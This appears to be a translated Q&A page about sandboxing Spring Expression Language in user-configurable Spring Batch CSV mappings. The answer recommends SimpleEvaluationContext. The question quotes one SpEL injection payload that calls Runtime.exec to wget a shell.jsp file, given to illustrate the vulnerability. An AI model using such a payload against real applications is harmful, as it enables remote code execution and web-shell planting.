Spring-EL表达式可以在沙箱中执行吗?

时间:2018-11-19 15:03:35

标签: spring sandbox spring-el

我正在使用Spring-EL创建在不同Spring-Batch导入作业中使用的动态csv字段到类字段的映射。 (不同的输入文件,相同的输出类)。这工作得很好,但是想法是用户必须可以创建这样的映射配置。

问题在于,Spring-EL表达式未在一种沙箱中执行,因此很容易注入恶意代码。例如:

2

我的问题是,如何在某种沙箱中运行Spring-EL或将访问限制为仅对一组特定的方法/类进行访问?我找不到与此主题相关的任何东西。也许Spring-EL不是这项工作的正确选择。

我尝试实现的示例:

name: T(java.lang.Runtime).getRuntime().exec("wget http://localhost:8090/shell.jsp")

1 个答案:

答案 0 :(得分:2)

SimpleEvaluationContext旨在减少应用程序漏洞。

有关更多信息,请参见https://docs.spring.io/spring/docs/5.1.2.RELEASE/spring-framework-reference/core.html#expressions-evaluation-context

  

SimpleEvaluationContext设计为仅支持SpEL语言语法的子集。它不包括Java类型引用,构造函数和Bean引用。它还要求您明确选择对表达式中的属性和方法的支持级别。默认情况下,create()静态工厂方法仅允许对属性的读取访问。